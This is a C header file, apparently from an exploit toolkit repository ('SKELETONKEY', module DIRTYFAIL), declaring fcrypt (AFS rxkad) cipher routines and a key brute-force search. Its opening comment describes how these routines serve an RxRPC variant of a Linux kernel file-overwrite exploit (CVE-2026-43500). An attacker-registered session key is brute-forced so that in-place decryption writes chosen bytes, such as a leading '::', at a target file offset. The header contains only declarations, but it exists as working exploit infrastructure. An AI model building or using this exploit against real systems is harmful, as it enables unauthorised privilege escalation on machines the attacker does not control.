Files
SKELETONKEY/modules/copy_fail_family/fcrypt.h
T

69 lines
2.7 KiB
C

/*
* DIRTYFAIL — fcrypt.h
*
* fcrypt is the Andrew File System (AFS) rxkad cipher: 56-bit key,
* 8-byte block, 16-round Feistel structure with four 256-entry S-boxes.
* It is *deterministic*, with a public algorithm specification — its
* key space (2^56) is small enough that targeted decryption can be
* brute-forced in user space at ~15-20 M ops / second on a single core.
*
* That property is what makes the RxRPC variant of Dirty Frag
* (CVE-2026-43500) practical: the in-place 8-byte STORE is
* fcrypt_decrypt(C, K), where C is the ciphertext at the target file
* offset and K is the session key the attacker registers via
* add_key("rxrpc", ...). For each STORE position we want, we run the
* fcrypt brute force locally until we find a K such that the resulting
* 8-byte plaintext matches our predicate (e.g. starts with "::").
*
* License: see NOTICE.md. The S-box constants are the rxkad protocol
* tables (also present in the Linux kernel's crypto/fcrypt.c, GPL-2.0,
* David Howells / KTH).
*/
#ifndef DIRTYFAIL_FCRYPT_H
#define DIRTYFAIL_FCRYPT_H
#include "common.h"
typedef struct {
uint32_t round_key[16]; /* big-endian, derived in fcrypt_setkey */
} fcrypt_ctx;
/* Initialize the global S-box tables. Call once before any other fcrypt_*. */
void fcrypt_init(void);
/* Run the kernel test vectors and return true if they match. Use this
* during exploit setup to fail fast on a broken build. */
bool fcrypt_selftest(void);
/* Derive the 16 round keys from an 8-byte key (only the high 7 bits of
* each byte are used; bit 0 of each byte is parity in the rxkad token
* format). */
void fcrypt_setkey(fcrypt_ctx *ctx, const uint8_t key[8]);
/* Decrypt a single 8-byte block. */
void fcrypt_decrypt(const fcrypt_ctx *ctx,
uint8_t out[8], const uint8_t in[8]);
/* Brute-force search predicate: given an 8-byte candidate plaintext,
* return true if it satisfies the constraints we want at this STORE
* position. */
typedef bool (*fcrypt_pred_fn)(const uint8_t plaintext[8]);
/* Search for an 8-byte key K such that fcrypt_decrypt(C, K) satisfies
* `predicate`. Returns true and fills K and the resulting plaintext on
* hit; returns false after `max_iters` non-hits.
*
* `seed` selects the search starting point (deterministic via splitmix64);
* pass time(NULL) for randomness across runs, or a fixed value for
* reproducibility. `label` is logged on hit/timeout for clarity. */
bool fcrypt_brute_force(const uint8_t ciphertext[8],
fcrypt_pred_fn predicate,
uint64_t max_iters,
uint64_t seed,
const char *label,
uint8_t key_out[8],
uint8_t plaintext_out[8]);
#endif